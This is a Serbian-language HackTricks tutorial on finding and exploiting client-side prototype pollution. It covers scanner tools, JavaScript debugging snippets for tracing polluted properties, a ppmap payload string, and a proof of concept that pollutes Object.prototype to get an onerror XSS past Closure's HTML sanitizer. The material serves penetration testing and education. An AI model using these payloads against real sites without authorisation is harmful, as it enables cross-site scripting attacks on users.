Client Side Prototype Pollution

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Otkrivanje korišćenjem automatskih alata

Alati https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap i https://github.com/kosmosec/proto-find mogu se koristiti za pronalaženje ranjivosti prototip pollution.

Pored toga, možete koristiti i browser ekstenziju PPScan da automatski skenirate stranice koje pristupate u potrazi za ranjivostima prototip pollution.

Debugovanje gde se koristi svojstvo

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Pronalaženje osnovnog uzroka Prototype Pollution

Kada je ranjivost na prototype pollution identifikovana pomoću bilo kog alata, i ako kod nije previše složen, možete pronaći ranjivost pretraživanjem ključnih reči poput location.hash, decodeURIComponent, ili location.search u Chrome Developer alatima. Ovaj pristup vam omogućava da precizno odredite ranjivi deo JavaScript koda.

Za veće i kompleksnije kodne baze, jednostavan metod otkrivanja ranjivog koda uključuje sledeće korake:

  1. Koristite alat za identifikaciju ranjivosti i dobijte payload dizajniran da postavi svojstvo u konstruktoru. Primer koji pruža ppmap može izgledati ovako: constructor[prototype][ppmap]=reserved.

  2. Postavite prekidnu tačku na prvu liniju JavaScript koda koja će se izvršiti na stranici. Osvežite stranicu sa payload-om, zaustavljajući izvršavanje na ovoj tački prekida.

  3. Dok je izvršavanje JavaScript-a zaustavljeno, izvršite sledeći skript u JS konzoli. Ova skripta će signalizirati kada je svojstvo 'ppmap' kreirano, pomažući u lociranju njegovog porekla:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Vratite se na karticu Izvori i izaberite "Nastavi izvršavanje skripte". JavaScript će nastaviti izvršavanje, a svojstvo 'ppmap' će biti zagađeno kao što se očekivalo. Korišćenje priloženog isečka olakšava identifikaciju tačne lokacije gde je svojstvo 'ppmap' zagađeno. Proučavanjem Steka poziva, mogu se primetiti različiti stekovi gde se zagađenje desilo.

Prilikom odlučivanja koji stek istražiti, često je korisno ciljati stekove povezane sa JavaScript bibliotekama, jer se zagađenje prototipa često dešava unutar ovih biblioteka. Identifikujte relevantan stek proučavanjem njegovog povezivanja sa bibliotečkim fajlovima (vidljivo sa desne strane, slično kao na slici data za vođenje). U scenarijima sa više stekova, poput onih na linijama 4 i 6, logičan izbor je stek na liniji 4, jer predstavlja početno pojavljivanje zagađenja i time korena ranjivosti. Klikom na stek bićete usmereni ka ranjivom kodu.

Pronalaženje skript gedžeta

Gedžet je kod koji će biti zloupotrebljen kada se otkrije ranjivost PP.

Ako je aplikacija jednostavna, možemo tražiti ključne reči poput srcdoc/innerHTML/iframe/createElement i pregledati izvorni kod da bismo proverili da li vodi ka izvršavanju JavaScript-a. Ponekad, pomenute tehnike možda neće pronaći gedžete uopšte. U tom slučaju, čisto pregledanje izvornog koda otkriva neke lepe gedžete poput primera ispod.

Primer pronalaženja PP gedžeta u kodu biblioteke Mithil

Proverite ovaj tekst: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Rekompilacija payload-a za ranjive biblioteke

Bajpasovanje HTML sanitizera putem PP

Ovo istraživanje pokazuje PP gedžete koje treba koristiti za bajpasovanje sanitizacije koju pružaju neke biblioteke HTML sanitizera:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated